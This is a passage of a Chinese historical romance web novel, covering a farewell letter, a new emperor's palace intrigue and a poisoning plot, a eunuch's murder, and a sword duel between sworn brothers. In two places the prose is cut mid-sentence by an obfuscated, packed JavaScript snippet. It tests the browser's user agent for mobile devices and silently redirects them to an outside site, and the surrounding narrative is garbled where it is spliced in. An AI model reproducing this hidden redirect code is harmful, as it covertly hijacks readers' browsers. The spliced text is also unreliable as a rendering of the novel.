席容烟心疼地抱住了他,“我不许你说这么不吉利的话。” 寒星拍了拍她的手,以示安抚,“阿烟,如果有一天,你发现我原来是那样的不堪,我不奢求你能原谅我,我只希望,你不要恨我,我决不是有意伤害你的。” “夫君,你和我说实话,你是不是有事瞒着我?” 寒星敛眉不语,过了半晌,才缓缓说道,“是。” “可以告诉我吗?” “不能,至少现在不能。” “那你什么时候才能告诉我?” “等时候到了就可以了。” 席容烟静静思索了一阵,“好吧,悟已往之不谏,知来者之可追,寒星,我不管你从前干过什么坏事,我只要你以后一点点变好,这个要求不算过分吧。”[2] “什么叫变好?阿烟,你不觉得‘好’这个词本身就很抽象吗?” “确实,那我简单点说,就是日行一善,以你今时今日的身份地位,这应该不难做到。” 寒星默了片刻,“有点难,不过我答应你,我会尽量的。” “好,就这么说定了。”席容烟握住他的手,“夫君,我们从今往后就是一家人了,你的好,你的坏都有我的一份,我们一起分享快乐,也要一起承担苦难。你说你是个残缺的人,可我又何尝不是呢,人海茫茫,我们在时空的荒野中相遇,这难道不是命中注定的缘分吗,是上苍要我们彼此补全,彼此救赎,我们凑在一起,不就是一个完整无缺的人了吗?” 想说的话涌到了嘴边,寒星只觉得胸口闷闷的,喉咙涩涩的,却是一个字也吐不出来,他的喉结上下滚动,许久,他沙哑地应了一声,“好。” 87. 长乐更常德 汀岸孤村,横野无际。 一入秋,乡下的芦苇绕着河堤,肆意疯长。 芦花片片,一个两进两出的小院儿坐落其间,隔着蓬窗透出星星点点的光亮。 盼儿将做好的饭菜端到桌上,一抬头,发现席容弥德还站在窗边出神,于是凑了过去。 “莫闲哥哥,你在瞧什么呢?” 席容弥德仰头望着漆黑的夜空,眼神有些空洞,过了好一阵才收回视线。 “我在瞧——月亮——” “月亮?” 盼儿爬在窗边看了一会儿,嘟囔道,“月亮有什么好看的呀,昨儿的月亮和今儿的月亮有什么不同吗?” “有啊,今儿的月亮更圆一些,马上就是十五了,但愿人长久……千里共婵娟……”[1] “还真是。”盼儿托着腮,“我从前总觉得日子过得很慢,可和你在一起的这段时间,日子突然就过得快了起来,一个月的光景,一眨眼的功夫就过去了。” “是吗,可为什么这一个月,于我而言,却是从未有过的漫长。” 盼儿扯了一下他的袖子,“好啦,快过来吃饭,我好不容易做的,再搁一会儿就凉了。” 席容弥德不想扫她的兴,二人坐定,盼儿笑逐颜开地给他介绍桌上的菜肴,“呐,这是蜜火腿,这是芙蓉豆腐,还有这个蓑衣饼,又薄又酥,吃起来甜丝丝的,你尝尝看味道如何。” 席容弥德拿起筷子,各样夹了一点,“嗯,好吃。” 盼儿扬扬脑袋,一脸得意,“那当然了,本姑娘的厨艺可是一绝,你跟着我,虽然呢,没有什么大鱼大肉,但我包你吃得满意。” 盼儿一面说着,一面起身给他斟酒,“这个,是缀锦楼远近闻名的桂花酿,我偷偷带出来的,来,盼儿敬你一杯。” 席容弥德啜了口酒,“嗯,入口生津,唇齿留香,果然是好酒!”他笑了笑,接着说,“其实啊,不用什么大鱼大肉,有荤有素,有菜有酒,这就已经很好了,我也是近来才明白,功名利禄皆尘土,荣华富贵亦云烟,日有三餐饱腹,夜有一榻栖身,便是人间欢喜事了。” 盼儿听不大懂这些文邹邹的话,又不好意思问他,只是一个劲儿的给他夹菜,“嘿嘿,好吃就多吃点。” 席容弥德同她碰杯,“盼儿,你陪我在这儿住了这么久,你的家人难道就不担心你吗?” “嗐,我爹估计都不记得他还有我这个女儿了,至于我娘嘛——”盼儿低下头,用筷子戳着碗里的米饭,“我娘恨毒了我是个女孩子,巴不得我消失了才好。” 席容弥德叹了口气,“你也不容易。” 盼儿将杯中的桂花酿一饮而尽,冲他一笑,“没事啊,我现在不是有你这个亲人了吗,我们就这样在一起一辈子,好不好。” 席容弥德沉默了一下,“盼儿,你是个很好的女孩子,我一直是把你当作亲妹妹看待的,你放心,从今往后,我会好好保护你,不让别人欺负你的。” “不是的!”桂花酿的酒劲儿来得很快,盼儿的脑袋有些晕乎乎的,说话也随意了很多,“你明明知道,我说的不是这个意思。” “盼儿,你太小了,你不明白——” 盼儿立刻打断了他要说的话,“莫闲哥哥,你凭什么觉得我不明白,我其实都明白的,你说了这许多话,其实就是不喜欢我,对不对?” 席容弥德狠心道,“对,我的确不喜欢你。” 盼儿咬了咬牙,硬生生从牙缝里挤出一个“好”字。 “席容弥德,你等着,早晚有一天,我会让你喜欢上我的。” 她噙着泪,转身便走,席容弥德一把拉住了她。 “等一下,盼儿,你听我说,这世间的感情有许多种,我对你是有感情的,但这种感情并非男女之情,而是兄妹之谊。” “可我要的不是这个。” 席容弥德默了默,“对不起。” “我不接受。” 盼儿甩开他的手,快步离开。 翌日清早,盼儿一觉醒来,只觉得脑袋昏昏沉沉的,她吞了口凉水,想起了昨晚的事,心中不免有些懊悔,她拍了下自己的脑袋,嘴里不住嘟囔着,“唉,都怪我,昨儿喝了点儿酒,说话就没遮没拦了,我不该把他逼得这么紧的,他肯定生气了,我得赶紧去找他道个歉。” 她跑出门,在席容弥德的屋外徘徊了许久,最终鼓起勇气,轻轻敲了敲门,“莫闲哥哥,你起床了吗,我有几句话想和你说。” 四下里静悄悄的,没有半句回应,盼儿屏气凝神,扒着门缝听了半天,只听到了自己的心跳声。 “我知道你不想面对我,那我就在这儿说吧。莫闲哥哥,我倾慕你很久了,在你还是席容公子的时候,我就喜欢上你了。你知道吗,当我第一次在缀锦楼见到你的时候,我就在想,这世上怎么会有这么好看的人。后来,你把你的红玛瑙扇坠送给了我,我从那个时候起就把自己当成你的女人了。我知道,我不好看,也不优秀,我是一个再平凡不过的人,你不喜欢我也正常,但你放心,我已经想清楚了,我喜欢你就够了,至于你对我的感情,我不强求。” 盼儿说完这番话,静静在门外立了一会儿,屋中依旧无人回应,她敲了两下房门,试探着问,“莫闲哥哥,你在吗?”她又等了一阵儿,终于察觉出不对,一脚踢开了房门,只见屋内空空荡荡的,哪里还有席容弥德的影子。 盼儿心中一慌,连门也顾不得关,快步冲出院子,一边跑一边喊,“莫闲哥哥——” 席容弥德是丑时三刻动的身,此时早已走远了,盼儿这个时辰去追,再怎么追也是徒劳,她没有追到席容弥德,最后只能自己一个人回了小院。 盼儿在席容弥德的屋子里发了一会儿呆,忽然瞥见茶壶底下压着一封信,她心中一动,连忙展开信笺,只见信笺上面的行楷清秀俊逸,正是席容弥德的字迹。 “盼儿吾妹亲启。” “吾生于膏粱锦绣之乡,原只想做个富贵闲人,庸碌一生,可惜风云难测,骤然生变,吾族中之人尽数下狱,亲朋故旧唯恐牵连之灾,避闪不及,幸得君之援手,留得一命。经此飞来横祸,吾本已心死,常存自暴自弃之念,然,过去两旬有余,君之热诚、仁善、纯净,使吾心中复燃生之希冀,君之大恩,吾铭感五内,必当牢记于心,不敢忘怀。” “吾从前甚喜‘莫将闲事挂心头,便是人间好时节’一句,私以为无病无忧,无牵无挂,便是毕生所求。时至今日,吾方知红尘万丈,所谓‘闲事’,不过其中寥寥寸许耳。吾身负族灭之仇,既侥幸逃过一劫,岂能自欺欺人,苟活于世。余生往复,吾当向死而生,承从前抛下之责,全人伦孝悌之理,男儿生于天地间,自当如此,才不算白来这世间一遭。”[2] “君待吾之情谊,吾无以为报,只是此一去,危险重重,生死难料,吾不愿君受此牵连,故不告而别。吾身负血海深仇,于儿女一事上实在缘薄,况吾一飘零之人,身无分文,不敢辜负君一片真心。此一别,后会无期,万望君珍重自身,寻一良人,勿再以吾为念。” “吾衷心期许,山水有相逢,长乐还无期,吾忠心祝祷,如松柏之茂,无不尔或承。”[3] “兄莫闲白。” 泪水夺眶而出,盼儿捧着薄薄的信笺,泣不成声,“公子——” 长乐宫。 中秋一过,魏帝旧疾复发,更兼心病,没有等到去西山,便一命呜呼了。 太子魏晗烨遵照遗命,承继大统。 魏帝驾崩的时候,正逢魏晗烨去蜀地视察灾情,待他听闻噩耗,匆匆赶回时,只看见了魏帝冰凉的尸身,他们父子二人,竟是连最后一面都没见到。 袁青正在指挥侍卫们把长乐宫的东西抬出去,再把东宫的东西抬进来,一样样摆放整齐。 魏晗烨在大殿门口立了许久,几个搬东西的侍卫从他身边经过,赶着问好,“殿下。”话刚出口,忽然意识到不对,匆忙改口,“陛下。” 魏晗烨凝眸注视着头顶的匾额,对他们的话置若罔闻,袁青听见这边的声音,快步赶来,“陛下,这儿有些乱,还得一阵儿才能收拾利索,属下已经派人将偏殿打扫出来了,您先去偏殿歇一歇,省得被灰尘弄脏了衣袍。” “不要紧。”魏晗烨抬手一指,“袁青,你找人把这个匾额换掉。” 袁青看了眼匾上“长乐未央”四个大字,拱手道,“是,属下请旨,新的匾额该镌何字?” “人生在世,不如意者十之八九,想求长乐,未免太过贪心了,孔子曰,‘为政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502795|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以德,譬如北辰,居其所而众星共之’,老子也说,‘为天下溪,常德不离’,就取‘常德共辰’四字,传朕旨意,即日起‘长乐宫’更名为‘常德宫’,朕要以此自勉。”[4] “明白,属下即刻去办,噢对了,太后娘娘方才派人传话,请您晚上过去一趟。” “知道了。” 宫人过来行礼,“陛下,李公公求见。” “带李公公去偏殿。” “是。” “袁青,朕就把这儿交给你了,记住,父皇的东西,朕一样也不留,通通换掉。” “陛下放心,属下一定办妥。” 宫人端来了茶点,李义微一颔首,“有劳。” “您客气了。” 魏晗烨大步走了进来,“李公公。” 李义起身,行了一个大礼,“奴才参见陛下,陛下万岁,万岁,万万岁。” “欸,李公公是跟在父皇身边的人,朕心里一直很敬重您,您何必行此大礼,快快请起。” 魏晗烨说着,搀他坐下。 “奴才多谢陛下。” “听闻父皇驾崩时,一直是公公陪在父皇身边,父皇可有什么遗诏或者遗言留给朕?” “奴才求见陛下,正是为了此事。先帝数月前历经大悲大恸,一直担心自己命不久矣,所以一早便拟好了诏令,将要紧的事情都安排妥当了,只是还有几件小事,先帝没来得及写进去,便驾鹤西去了。先帝临终的时候,气息微弱,已经握不住笔了,是奴才把耳朵凑上去,才勉强听清的,因而并无遗诏,只有口谕。” “公公请讲,朕洗耳恭听。” 李义眼角泛红,“先帝说,他子嗣缘薄,几个孩子不是幼年早夭,就是病痛缠身,先帝希望陛下能够善待自己的兄弟,不要做出骨肉相残的事情,损了自己的福报。先帝还说,他要带着席容皇贵妃的那把双凤琵琶入葬。” “就这两件事?” “就这两件。” “魏晗烨点了点头,“父皇所念,朕一定让他走得安心。随葬之事好办,至于第一件事,肃安王和哲远王皆已封王,恩宠已是无可附加,朕会多多赐给贤太妃些东西,让她颐养天年。其余诸子,朕会视情况给他们安排一些清闲的官职,只要他们不生反心,朕保他们一世荣华。” “有陛下这句话,奴才就放心了,等以后见到了先帝,奴才也问心无愧了。” “公公伺候了父皇一辈子,尽心尽力,忠义可嘉,朕不会亏待公公的。公公若是留在宫里,朕会单独拨出一座宫室,再安排几个听话懂事的孩子孝顺公公,公公膝下就不寂寞了。” 李义笑着摆了摆手,“奴才是个阉人,自认没有儿女上面的缘分,又何必自欺欺人呢。更何况,前朝后宫本属一体,陛下初登大宝,宫中的旧人也都该换了才是,新帝新气象嘛,奴才这个老头子就不跟着瞎掺和了。” “那朕就给李公公在宫外置办一个宅子吧,京郊的风景不错,有山有水,离京城也不远,公公意下如何。” “陛下的美意,奴才心领了,只是奴才少小离乡,如今一把年纪,鬓发花白,也该回家歇歇了,老话说得好,叶落归根嘛。” “好吧,那朕不勉强公公了,公公什么时候想回来就回来,就把这里当作自己的家一样。” 李义颤颤巍巍地跪下,磕了个头,“陛下保重,奴才这就告辞了。” “公公稍候片刻,朕命他们给公公安排车马。” 李义笑着摇了摇头,“什么都不用,奴才一个人来,一个人走,这才干净。” 他又冲魏晗烨点了下头,便扶门出去了。 夕阳西下,宫墙西角的琉璃瓦上洒满了落日的余辉,魏晗烨看着李义离去的背影,心底忽然泛起一丝苍凉。 宫人们来来往往,忙碌着手中的活计,谁都没有留意这个静静离开的老人,偶有一两个看见李义的,在心底犹豫了一番,终究还是没有上前打招呼。 正殿门前悬着的匾额被人摘下,新上任的太监总管秦川指挥着几个小太监,将刚刚做好的镌着“常德共辰”四个金字的匾额小心翼翼地挂了上去。 长乐宫从此更名为常德宫,人们都明白,过去的一切已经过去。 这是一个新的王朝了。 88. 风巽惊悬案 中宫。 “儿子给母后请安。” 魏皇后微微一笑,抬手示意他坐,“怎么来得这么早。” 魏晗烨扫了一眼桌上的饭菜,笑道,“正所谓,来得早不如来得巧,正好朕还没用晚膳,就在母后这里一块用了吧。” “那敢情好,云英,去添一副碗筷。” 魏晗烨净了手,坐下同魏太后一起用膳。 “袁青说,母后有事找朕,不知道所为何事?” 魏太后语气中带了一丝嗔怪,“怎么,没事就不能找皇帝闲聊了吗。” “哈哈,儿子不过随口一问罢了,母后不要多心。” “哀家知道你政务繁忙,也不敢随便去打扰你,只是有几件大事,还得你来拿主意。” “母后请说。” “这第一呢,先帝去了,太妃们陆陆续续都搬进康泰宫了,哀家按规矩也该搬进隆寿宫,把这中宫腾给大魏未来的皇后,只是哀家在这儿住了小半辈子,这院子里的一砖一瓦,一草一木都承载着哀家的记忆,哀家也一把年纪了,不想再折腾了。” “咍,这所谓的‘中宫’不过是个名头罢了,母后既不想换,不换就是,朕这就命他们重新刻个匾额挂上去,母后只管安心住着。” 魏太后点点头,“这第二件事嘛,皇帝,你不小了,该成个家了。” “母后——” “皇帝!从前你是太子,你不想成亲,哀家可以不管,可现在你成了皇帝,这后位空悬,会让那些心怀不轨之人惦记的。” “儿子初登皇位,每天都有一大堆事需要处理,看奏章都看不过来,哪有心思想这种事。” “哀家知道你忙,可你是皇帝,你的亲事也是国事啊,朝上那些大臣们可都睁眼看着呢,你想要你的江山稳固,想要你的臣子忠心听话,最简单的法子就是把他们的女儿纳入后宫,这比什么封赏都要紧。” 魏晗烨没答话,兀自舀了勺汤,不住赞叹,“这道老鸭汤可真好喝。” 魏太后搁下筷子,不悦道,“皇帝,哀家在和你说话呢。” 魏晗烨见敷衍不过去,只得硬着头皮答应下来,“好吧,母后作主就是了。” “那就这么说定了,哀家为你操持选秀的事情。” “嗯,母后还有什么事吗?” “你们都先下去吧,哀家有话要单独和皇帝说。” 一时,殿内只剩下魏晗烨、魏太后、云英、袁青四人。 “自从先帝驾崩以后,花房的人日日都往各宫送去菊花,包括你的居所,还有哀家这里,哀家一直没怎么留意,直到那日,哀家想吃菊花马蹄糕,就让云英折了一点去做,竟然发现这花里藏着祸心,云英,你来说吧。” 云英上前一步,“陛下,奴婢的外祖父是江湖游医,所以奴婢也懂一点医药上的事情,这菊花的花蕊被人撒了药粉,花瓣则被人用精心调制的香料浸泡过,所以掩盖了药粉的气味。不单是娘娘这里,陛下宫里的菊花也被人动过手脚。” 魏晗烨的眼神立时冷了下来,“花蕊里搁了什么东西?毒药吗?” “花蕊里的粉末是由天仙子、云实、前胡、商□□味药草混合而成,长期服用,会导致神志不清,举止癫狂。这几日恰逢秋雨,空气潮湿,药粉的效力大大减弱,可若是再过几日,秋高气爽,只怕这药粉就随风飘进娘娘和陛下的饮食之中了,而且——” 云英看了一眼魏晗烨,继续说道,“而且,陛下宫中菊花的毒性远远大于娘娘这里的,您找周坤一问便知。” “哼,好歹毒的心计,袁青,你马上给朕去查,朕倒是好奇,究竟是谁这么胆大妄为,处心积虑地想要谋害朕!” 魏太后给他夹了一块八宝肉圆,“皇帝别急,云英已经查清楚这下毒之人了。” “是谁?” “奴婢查到,这段时间有一个名叫香罗的丫鬟每晚都会悄悄溜进花房,行为鬼鬼祟祟,十分可疑,奴婢就让侍卫扣下了她,果然在她身上发现了和这菊花花蕊里一样的药粉。” “香罗?这个名字怎么听着这么耳熟?” “回陛下,香罗是漪公主的贴身婢女。” 魏晗烨蹙起了眉头,“漪妹妹?” 魏太后缓缓开口,“是啊,如此看来,魏風漪就是背后的主使之人了。” “香罗可曾招认?” “香罗受了刑,却是一句话也不肯说,最后咬舌自尽了。” 魏晗烨静静咀嚼着八宝肉圆,过了好一阵儿才说,“母后预备怎么办?” “哀家已经将那个魏風漪关了起来,只是她脾气倔得很,不管问她什么,她都不肯回答,她毕竟是皇女,哀家也不好随便对她动刑,所以才想听听皇帝的意思。” “母后说得不错,朝中人人都知道,这魏風漪是父皇生前最宠爱的公主,而母后又素来和她的生母不睦,如果我们贸然对她用刑,一定会让旁人觉得是我们心胸狭窄,不能容人,父皇刚刚过身,就想着对她的女儿赶尽杀绝。” 魏太后点了点头,“正是这个道理,皇帝可有什么好主意吗?” “漪公主本性不坏,朕觉得,她是受人挑唆,才做出了这样的事情,朕想先和她聊一聊。” “嗯,皇帝自己作主就是了,只是哀家须得提醒皇帝一句,野火烧不尽,春风吹又生,这斩草,必得除根啊。”[1] “儿子明白。”魏晗烨搁下筷子,“母后慢用,儿子先告退了。” 魏太后轻轻咳了一声,“怎么,皇帝就忙成这样,连一顿饭的功夫都不肯陪哀家吃完吗?” “母后多心了。” 一旁的袁青连忙陪笑道,“启禀太后娘娘,陛下近来政务缠身,饮食上一向用得少。” “这就是你失职,皇帝心系社稷,不知道注意自己的身子也就罢了,你们这些跟着的人更应该仔细照顾才是,还要哀家为皇帝操心,要你们何用啊?” “太后娘娘教训的是,属下以后一定留心。” 魏晗烨摆摆手,示意袁青住嘴,“母后不要责怪袁青,他劝过朕几次,是朕嫌他絮叨,吩咐他不许再提的。” 魏太后轻轻叹气,“烨儿,再怎么忙,也要记得好好吃饭,好好睡觉。” “儿子记住了。” “来,再用些莲子山药粥,秋燥时节,吃这个最是滋补,母后亲自给你盛一碗。” 魏晗烨没忍住,“扑哧”一声笑了出来,魏太后不明所以,“皇帝,你笑什么?” “儿子是笑,母后怎么越来越像个小孩子了,明明没多大点事儿也要挑理,还有,从前母后的话一向是极少的,也甚少在儿子的饮食上留心,怎么今日突然就说了一大篇子的话。” 魏太后一愣,她没料到他会笑这个,半晌才说,“烨儿,从前的许多事,是母后对不住你,母后会好好补偿你的。” 魏晗烨忙道,“母后言重了,儿子并不觉得母后有什么对不住儿子的地方。” 魏太后并不知道魏晗烨同魏晗煜互换身份的事情,她一直以为眼前的人是被她关在暗室长达十三年之久的“魏晗煜”,殊不知,真正的魏晗煜已经死了。魏晗烨在心底叹了口气,煜弟,你若还在世,听了母后的这番话,应该也会感到些许安慰吧。 青玉百鸟朝凤连枝灯的烛火摇曳,魏太后的目光透过了裹着金光的缥缈浮尘,幽幽道,“哀家从前总以为自己恨毒了席容皇贵妃,直到她真的死了,哀家才发现,原来哀家并没有自己想得那么恨她。其实哀家知道,席容一家犯下的许多恶事都是先帝默许的,可他是哀家的夫,哀家的天啊,哀家没用,哀家对他就是恨不起来。” 像是被漫射而来的光束刺痛,魏太后微微低下头,“哀家心头堆积的怨与恨实在太多,席容皇贵妃死了,哀家一时竟不知道还能去恨谁怨谁了。” “母后,从前的事儿就让它过去吧,恩恩怨怨,是是非非,谁能说得分明呢,人都死了,母后又何必执着于过去。儿子知道母后这一路走来,殊为不易,儿子愿以天下养,但求母后抛下前尘旧怨,得真正的释怀与解脱。” “烨儿,你说实话,你真的不曾怨过母后半分吗?” 魏晗烨摇头,“不曾。” 魏晗烨替魏晗煜在暗室中待了八年,在这期间,他有过无聊,有过苦闷,唯独没有怨恨,他甚至觉得,在暗室中的日子远比当太子,当皇帝来得快活自在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502796|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >魏太后如释重负,“好,云英,你给陛下还有哀家斟酒,烨儿,母后敬你一杯。” “母后请。” 杯觥交错,魏晗烨出来的时候已经有了三四分醉意,云英提着宫灯,将他送到了宫门外。 云英把宫灯交给袁青,“陛下方才高兴,多饮了几杯酒,天黑路滑,你在前面小心照看着,千万别让陛下跌着了。” “云英姑姑放心。” “朕没事,云英,你快回去照顾母后吧,她向来不胜酒力,等过一阵儿酒劲儿上来了,她怕是要难受的,你提前备好醒酒汤,到时候服侍母后喝下。” “是,陛下慢走。” 入夜了,风有些凉,吹得魏晗烨清醒了不少。 魏太后今日敞开心扉,同他说了许多的话,从她和魏帝相识,相爱,再到相分,相厌,魏晗烨一直静静听着,他明白,所谓相爱,相厌,其实只是魏太后的一厢情愿罢了,魏帝对她一直都是狡猾而又冷静的利用。 可魏晗烨不忍心戳破她的幻想,纵然是错,她若是能一直这么糊涂下去,也不失为一件幸事。 “不好了!不好了!” 惊恐的尖叫声扰乱了魏晗烨的思绪,两个御花园的小宫女跌跌撞撞地从他跟前跑了过去,袁青扯住其中一个,斥责道,“放肆,陛下在此,怎么这么没规矩!” “陛,陛下。” “发生什么事了?” 小宫女的唇瓣上下哆嗦,颤着手往后指了指,“那边,有,有,有——” 袁青跺脚,“有什么你倒是说呀,真是急死人了。” “袁青,你别把这丫头吓着了。” 魏晗烨转身对那宫女笑了笑,温声道,“别怕,这儿有这么多人呢。” “嗯——” “告诉朕,你到底看到什么了?” “是,是死人,湖里有死人。” 袁青挥挥手,“你们两个去那边看看。” 不一会儿,侍卫们抬回一具尸首,拱手道,“启禀陛下,死的人是李义公公。” 魏晗烨脸色一变,“什么?是李义?” 袁青上前查看,“陛下你看,李公公脖颈处有很深的勒痕,头部还有撞击所致的伤口,估计是被凶手杀害后抛尸湖中,才被过路的宫人瞧见的。” “李义今日求见过朕,说是要回乡养老,却不料连宫门还没出就遭人毒手,秦川。” “奴才在。” “秦川,你熟知内宦之事,李义生前可有什么仇家?” “李公公是前任太监总管,又同先帝有着打小的情分,满宫中人谁敢与他结怨。” “那李义可曾得罪过什么人?” “这就不好说了,李公公刚直不阿,心中只有先帝一人,办起事来难免会开罪一些人,先帝在时也就罢了,这先帝走了,只怕就有人来算账了。” 袁青皱眉,“李公公是先帝身边第一可信赖之人,前朝后宫的大小事宜,有许多都是由李公公经手操办的,时过境迁,一一查起来怕是不易。” “如此说来,这案子倒是难办了。” “陛下放心,属下一定尽力查清,还李公公一个公道。” 魏晗烨环顾一圈,“这湖——” 秦川机灵,抢先答道,“回陛下,这湖名唤风巽湖,乃地下泉水所汇。” “所以,此湖并无外界水源与之相通?” “正是。” “那这附近除了母后所居的中宫,可还有其他宫室?” “再便是风巽湖对岸的银花宫了,银花宫原本是由王贵人住着的,只是后来王贵人犯了错,被太后娘娘贬为庶人,先帝看在王贵人儿子的面子上,才把她复位,另赐了宫室给她居住,银花宫久无人居,便荒在这里了。” 魏晗烨看了一眼秦川,赞赏道,“你年纪虽轻,对宫里的事倒很是清楚,不错。” 秦川陪着笑,“奴才就是干这个的,不敢不清楚。” “嗯,李公公死得蹊跷,你既熟悉宫里的情况,朕便命你同袁青一同调查此事,李公公是父皇身边最为贴心的人,朕不能让他枉死。” “属下明白。” “奴才遵旨。” 89. 爱恨难两全 西域。 寒木拨开层层荒草,瞧见寒星正在地上端坐着,“啧,你怎么约在了这个鬼地方?” “隔墙有耳,这儿无墙,也便无耳。” “你就这么怕被她听见?” “多说无益,木头,我让你查的事儿,你查的怎么样了?” “有些眉目了,当年,席容炎得了先帝的授意,派了咱们兄弟几个去陈家杀人放火,为保万无一失,事后我按照陈府名册,一一核对了尸身,的确没有留下一个活口,不过——” 寒星死死盯着寒木的眼睛,“不过什么?” “不过我找到了长街上的乞丐,打听到陈兰旌的奶姆封氏有个女儿,因为年纪小,并未入册,有两个乞丐说,他们曾经看到这个丫头在陈家出事之后,混在乞丐堆里跟着他们乞讨。” 寒星皱眉,“他们是如何确定,这个丫头就是封氏的女儿的?” “陈家上下乐善好施,那些乞丐总去陈府门口乞讨,见过这个丫头一两次,所以记得她身上的衣裳。” 寒星听完久久不语,寒木轻轻拍了一下他的肩膀,“所以说呢,席容烟并不是陈玄赫的女儿陈兰旌,寒星,你这下可以安心了吧。” “安心?”寒星自嘲一笑,“木头,你觉得阿烟是陈玄赫的女儿,亦或是封氏的女儿,对我来说有什么不同吗?” “自然不同,她若是陈玄赫的女儿,你和她之间便隔了一道血海深仇,可她若是封氏的女儿,你和她——”寒木突然意识到了什么,不再作声。 “对吧,无论她是谁的女儿,她都是因为我才没了家人,都是因为我——” 寒木沉默了,寒星说的没错,人,是他们杀的,对于席容烟而言,这其中的差别只在于死的究竟是她的父母两个人,还是阖族五百余人,可人命是不能用数量衡量的,造化弄人,他们之间的爱,注定成了一个无可挽回的错误。 “那——”寒木欲言又止,他看了寒星一眼,复又开口道,“你想好怎么办了吗?” “什么怎么办?” “你杀了她的家人,她如果知道了事情始末,岂有不恨你的道理,绝不能让她知道此事。” 寒星微微摇头,“纸是包不住火的,我能瞒她一时,却瞒不了她一世,她早晚有一天会知道自己的身世,等真到了那一天,我又该怎么办?” 寒木不屑,“那就杀了呗,左不过一个女人罢了,估计到时候你也睡够了。” “住嘴!你知道我的,我从来不杀女人。” “切,这有什么,你杀的人还少吗,别在这儿给我假慈悲,你要是下不去手,我帮你杀就是了。” 寒星凝气于掌,霍地一震,青霜剑遽然出鞘,冲着寒木直直刺了过去。 “操!” 寒星的剑实在太快,寒木来不及避闪,只好仓皇后仰,扬起的发梢被剑光齐齐斩断。 寒木不可置信地看向地上的那缕断发,“寒星,你居然为了一个女人,跟我动手?” 寒星抬手接剑,目光灼灼,“她不是普通的女人,她是我的妻,她是我的毕生所爱。” “好啊,那你就看看,看看你的妻,你的毕生所爱知道了真相之后,会不会想要杀你啊。” “她杀不了我,她——”寒星默了片刻,“就算我真死在了她的手上,那也是我的命数,我绝不允许有人伤害她。” 寒木狠狠啐了一口吐沫,“寒星,你是不是疯了,老子都他妈快不认识你了。北疆前脚才遣人送了书信,说要把他们的公主嫁给你,你后脚就和席容烟举办了声势浩大的昏礼,你这不是打北疆人的脸吗?这也就罢了,你有情有义,你想给席容烟一个名分,老子说不出你什么。可现如今已经查明,你和她根本就不可能,你还要留着这么一个祸害在自己身边!” “北疆人要是想打,我陪他们打就是了,有什么了不起的,难道本汗还惧了他们不成。至于阿烟,她并没有做过什么对不起我的事情,我是绝对不可能伤害她的。更何况,我们发过誓,生死与共,永不分离,我相信,她也不会伤害我的。木头,我们是兄弟,我不希望我们因为这件事,落到反目成仇的地步,答应我,不要伤她一分一毫。” “反目成仇?你我相识十余载,你如今竟为了一个女人,要和我反目成仇!” 寒星嘴唇微动,却是敛眉不语。 寒木咬了咬牙,把偃月刀横在身前,“可以啊,只要你今天赢了我,我就答应你。我知道,若论武功,我比不过你,所以,我们得换种玩法。” “你说。” “三招之内,我赢一次,就算我赢,你输一次,就算你输,而且,你不能攻,只能防。” 寒星轻笑,“你这个人,怎么这么不讲理。” “比不比?” “行,就按你说的办吧,木头,咱们可说好了,只要我赢了,你就不许对阿烟动手。” “少废话,出剑吧。” 不等寒星答言,寒木手持大刀,一跃而起,锐利的刀锋冲着寒星重重劈下,击起的火星如同朵朵红莲,顺着风势冲天而烧。 寒星见状一叹,“一上来就用业火阵,你就不怕自己后继无力吗?” “哼。”寒木冷冷一笑,攻势未减,周身力道灌满了手中的偃月刀,只听得空气的爆破声中夹杂了一丝嘲讽,“你还是先担心担心你自己吧。” 这业火阵是寒木自创的招式,起得威猛,落得凶悍,很好地发挥了他在气力上的优势,配合重达八十斤的偃月刀,可谓所向披靡,只是,这业火阵虽然威风凛凛,却很费力,一旦施展,便要使出全身力气,若不能一招毙命,必会后患无穷,所以寒星才会有此一叹。 寒木的武功胜在霸道,寒星的优势却在灵巧,眼见那片业火红莲已经烧到了眼前,寒星的脸上也丝毫不见慌乱之色,他抬腕轻轻一转,手中的青霜剑霎时迸出疏疏落落的万点寒芒,剑尖滑过处,宛若春风化雨,顺势扑灭了迎面卷来的冶冶火舌。 业火既灭,偃月刀的威力立时折损了大半,寒星虚虚实实地来回绕了几下,似无章法,却又似乎自有一番道理,速度之快叫人根本看不清他脚下是什么步法,只见衣袂翩翩,当空擦过一道苍蓝色的掠影,寒星身形一闪,下一瞬,手中的青霜剑已然缠上了偃月刀的刀身,寒星反手一挑,偃月刀登时被甩出十几丈远,便听“砰”的一声,偃月刀刀尖冲下,重重砸落在地,粗莽的缝隙沿着大地的肌理岔开,直冲寒木所在之处,寒星的力道顺着裂痕,汹涌而至,寒木措不及防,往后退了一大步,他勉强稳住身形,神情又惊又气。 “你居然破了我的业火阵!我竟从来不知,你能破它!” 寒星知道他气的不是自己能赢他,而是自己从未告诉过他,自己能赢他,故而解释道,“木头,你不要生气,我绝非有意瞒你,只是一则,从前开打,你我总是站在一处的,你的业火阵从未对我用过,你自然不知道,我能破它。二则,我虽然用心琢磨过你的业火阵,却也并未真的一试,所以我也不知,我能破它。” “打住,我不想听你说这些废话,我只问你一句,你这招叫什么名字?” 寒星想了想,温声道,“这招就叫‘二两松风知不知’吧。” 